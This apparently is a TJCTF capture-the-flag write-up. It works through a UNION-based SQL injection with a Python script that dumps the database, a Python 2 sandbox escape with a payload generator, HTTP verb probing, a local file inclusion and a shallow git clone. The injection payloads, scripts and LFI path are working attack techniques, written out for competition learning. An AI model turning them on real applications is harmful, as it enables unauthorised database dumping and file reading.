First I tried to send normal data in the form and I got the following error: This is what I got about you from the database: no such column: password.
It seems weird and it sounds like a SQLi.
Trying to inject the POST parameters value doesn't work so I tried to inject the key instead, as suggested by the the error message.
So I replaced password with ' (a simple quote).
The server answered another error message: 'NoneType' object is not iterable.
This seems like a python error message, so the web server backend should be using python.
Then I tried a UNION-based injection: '%20UNION%20SELECT%201--%20- (' UNION SELECT 1-- -)
I got SELECTs to the left and right of UNION do not have the same number of result columns.
Now we are pretty sure we have a SQL injection.
We can continue to add 1, to discover the number of columns, because I'm curious
Finaly I went up to 7 columns to stop getting an error: '%20UNION%20SELECT%201,1,1,1,1,1,1--%20- (' UNION SELECT 1,1,1,1,1,1,1-- -)
Now we have this cute JSON output leaking all the columns:
Finding the number of columns was not required, this works too: '%20UNION%20SELECT%20*%20from users--%20- (' UNION SELECT * from users-- -)
Note: finding the table users was just some easy guessing.
Hey! We leaked an user account!
We can iterate with '%20UNION%20SELECT%20*%20from users limit 1 offset 1--%20- (' UNION SELECT * from users limit 1 offset 1-- -)
Now we have two choices: first we can continue to iterate to dump the whole database until we find the username admin, like I did with this python script:
import requestsfrom bs4 import BeautifulSoupimport jsonimport reimport astburp0_url ="https://ess-kyoo-ell.tjctf.org:443/"burp0_cookies = {"__cfduid": "d964d07a476f4e291ef50328373ec7b931533661597"}burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://ess-kyoo-ell.tjctf.org/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}for x inrange(0, 1000): burp0_data={"' UNION SELECT *from users limit 1 offset %i-- -"% x : "a"} res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) html =BeautifulSoup(res.text, 'html.parser')for p in html.select('p'):if p['id'] =='profile-name': regex =r"This is what I got about you from the database: ({.*})"if re.search(regex, p.text): match = re.search(regex, p.text) json_data = match.group(1)# json with single quote delimiter to dict json_data = ast.literal_eval(json_data)# dict to json string with double quote json_data = json.dumps(json_data)# json string with double quote to json object data = json.loads(json_data)if re.search(r".*admin.*",data['username']):#print(data['username']+' : '+ data['ip_address'])print(json_data)
Or instead of dumping the whole database that is much more work and cost much more time, we could have just used '%20UNION%20SELECT%20*%20from%20users%20where%20username%3d"admin"--%20- (' UNION SELECT * from users where username="admin"-- -) to find the admin user directly.
nc problem1.tjctf.org 8004Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!>>>
We are in a python jail a.k.a. PyJail (python sandbox).
We know we must use get_flag() and wrap our input in double quotes.
Let's try to find more info:
>>> get_flag.func_code.co_consts(None, 'this_is_the_super_secret_string', 48, 57, 65, 90, 97, 122, 44, 95, ' is not a valid character', '%\xcb', "You didn't guess the value of my super_secret_string")>>>get_flag(get_flag.func_code.co_consts[1])t isnot a valid character
So we see there is a variable called this_is_the_super_secret_string.
Then there is 48, 57, 65, 90, 97, 122, 44, 95, which converted from decimal to ASCII gives 09AZaz,_.
Then we have is not a valid character so we can deduce that we have a regex [0-9a-zA-Z_,] filtering the input.
Trying get_flag(get_flag.func_code.co_consts[1]) will give t is not a valid character, proving that there is such a filtering.
Fuzzing a little will throw this:
Traceback (most recent call last): File "<console>", line 1, in<module> File "/home/app/problem.py", line 23, in get_flagif(eval(input) == super_secret_string):
So we know our input is evaluated after being filtered.
Our goal is to get something like get_flag("this_is_the_super_secret_string") but not matching [0-9a-zA-Z_,].
Quick reminder, in python eval is used to evaluate an expression and returns its value whereas exec is a statement that compiles and executes a set of statements. In short this means you can execute statements when you are using exec but not when using eval.
[...]
Most of python are just references, and this we can see here again. These protections only remove references. The original modules like os, and the builtins are not altered in any way. Our task is quiet clear, we need to find a reference to something useful and use it to find the flag on the file system. But first we need to find a way of executing code with this little characters allowed.
As it is some python 2.7 we can use tuples (), lists [], dictionaries {:}, sets {}, strings ' ', % for formatting.
We can also use <, ~, `.
< and ~ are simple operators, we can do less-than comparison and binary-negation.
In python2 ` allows us to produce strings out of objects because `x` is equivalent to repr(x).
< can be used both for comparing to integers and in the form of << binary-shifting them to the left.
The first thing to notice is that []<[] is False, which is pretty logical. What is less explainable but serves us well is the fact that {}<[] evaluates to True.
True and False, when used in arithmetic operations, behave like 1 and 0. This will be the building block of our decoder but we still need to find a way to actually produce arbitrary strings.
Let's start with a generic solution, we will improve on it later. Getting the numeric ASCII values of our characters seems doable with True, False, ~ and <<. But we need something like str() or "%c". This is where the invisible characters come in handy! "\xcb" for example, it's not even ascii as it is larger than 127, but it is valid in a python string, and we can send it to the server.
If we take its representation using `'_\xcb_'` (In practice we will send a byte with the value 0xcb not '\xcb'), we have a string containing a c. We also need a '%', and we need those two, and those two only.
We want this: `'%\xcb'`[1::3] , using True and False to build the numbers we get:
`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]
There you go! Now provided we can have any number build using the same trick as for the indexes we just have to use the above and %(number) to get any character we want.
So we want to get something like "%c" % (70) to get a F.
If you have ever studied any logic you might have encountered the claim that everything could be done with NAND gates. NOT-AND. This is remarkably close to how we shall proceed, except for the fact we shall use multiply-by-two instead of AND. We won't use True.
Everything can be done using only False (0), ~ (not), << (x2), let me show you with an example. We shall go from 42 to 0 using ~ and /2, then we can revert that process using ~ and *2.
Basically we divided by two when we could, else we inverted all the bits. The nice property of this is that when inverting we are guaranteed to be able to divide by two afterward. So that finally we shall hit 1, 0 or -1.
But wait. Didn't I say we would not use True, 1? Yes I did, but I lied. We will use it because True is obviously shorter than ~(~False*2), especially considering the fact we will use True anyway to do x2, which in our case is of course <<({}<[]).
Anyway, the moment we hit 1, 0 or -1 we can just use True, False or ~False.
So by using this function, we can transform any number into a kind of logical brainfuck:
defbrainfuckize(nb):if nb in [-2, -1, 0, 1]:return ["~({}<[])", "~([]<[])","([]<[])", "({}<[])"][nb+2]if nb %2:return"~%s"%brainfuckize(~nb)else:return"(%s<<({}<[]))"%brainfuckize(nb/2)
This is shorter than the solution I will show you but this is using comas, and we can't.
So I would rather use concatenation with + instead of ,.
>>>'a'+'b'+'c'+'d''abcd'
So I made a script to automate that:
from__future__import print_functiondefbrainfuckize(nb):if nb in [-2, -1, 0, 1]:return ["~({}<[])", "~([]<[])","([]<[])", "({}<[])"][nb+2]if nb %2:return"~%s"%brainfuckize(~nb)else:return"(%s<<({}<[]))"%brainfuckize(nb/2)# initialize final payloadpayload=''# the string we want to obfuscatesecret = [c for c in'this_is_the_super_secret_string']# %c# we are forced to escape the '\' like that `\\` else it is interpretedpourcent_c ="""`'%\\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]"""# pourcentpourcent ='%'# plusplus='+'for c in secret:# ex: 'F' => 70 => '(~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))' brainfuck_ord =brainfuckize(ord(c))# "%c" % (~((~(((({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))# "%c" % 70 => "F"# as we want a ready to paste paylaod we add '+' to concatenate payload += pourcent_c+pourcent+brainfuck_ord+plus# remove last '+'payload = payload[:-1]print(payload, end='')
Let's see all HTTP verbs available, then we see it requires basic auth, so we can try all verbs with admin:admin and finally catch the flag.
$ curl https://request_me.tjctf.org/<p>WRONG <a href="https://lmgtfy.com/?q=http+request+options">FLAG</a></p>$ curl -X OPTIONS https://request_me.tjctf.org/GET, POST, PUT, DELETE, OPTIONSParameters: username, passwordSome methods require HTTP Basic Auth$ curl -X POST -u admin:admin https://request_me.tjctf.org/Maybe you should take your credentials back?$ curl -X PUT -u admin:admin https://request_me.tjctf.org/I couldn't steal your credentials! Where did you hide them?$ curl -X DELETE -u admin:admin https://request_me.tjctf.org/Finally! The flag is tjctf{wHy_4re_th3r3_s0_m4ny_Opt10nS}
<body><divid="main-block"> <h1> Neil's Site! </h1> <p> I'm Neil, and this is my site. I work here with my good friends Evan and Aneesh. Everything on here has a story and a price. One thing I've learned after 18 years - you never know what is gonna get you that flag. </p><!-- <a href="flag.txt">Here's a flag!</a> --> <br /> <divclass="center"> <imgsrc="evanshi-en-us.png"class="center"width=100 /> <br /> This is Evan. </div></div><divid="footer"> Now in <ahref="?lang=es.php">Spanish!</a></div></body>
There is a flag.txt somewhere and a url ?lang=es.php that looks LFI injectable.
So just run https://programmable_hyperlinked_pasta.tjctf.org/?lang=../flag.txt and get the flag: tjctf{l0c4l_f1l3_wh4t?}.
$ nmap -p 80,443,22 104.154.187.226Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 19:48 CESTNmap scan report for 226.187.154.104.bc.googleusercontent.com (104.154.187.226)Host is up (0.12s latency).PORT STATE SERVICE22/tcp open ssh80/tcp closed http443/tcp filtered httpsNmap done: 1 IP address (1 host up) scanned in 1.95 seconds
HTTP ports are closed or filtered so we are only able to use git on ssh.
$ git clone git://104.154.187.226/.git repo-root
Useless, that not the good repository.
Let's try the good one:
$ git clone git://104.154.187.226/huuuuuge/.git/ repo-hugeCloning into 'huuuuuge'...remote: Counting objects: 309, done.remote: warning: suboptimal pack - out of memoryremote: fatal: Out of memory, malloc failed (tried to allocate 104857601 bytes)remote: aborting due to possible repository corruption on the remote side.fatal: early EOFfatal: index-pack failed
Now we know why it is called huuuuuge. We need to find a way to clone just a part of the repository.
The first solution to a fast clone and saving developer’s and system’s time and disk space is to copy only recent revisions. Git’s shallow clone option allows you to pull down only the latest n commits of the repo’s history.
$ git clone --depth 1 git://104.154.187.226/huuuuuge/.git/ repo-hugeCloning into 'repo-huge'...remote: Counting objects: 3, done.remote: Total 3 (delta 0), reused 0 (delta 0)Receiving objects: 100% (3/3), done.$ cd repo-huge$ cat flag.txt tjctf{this_fl4g_1s_huuuuuge}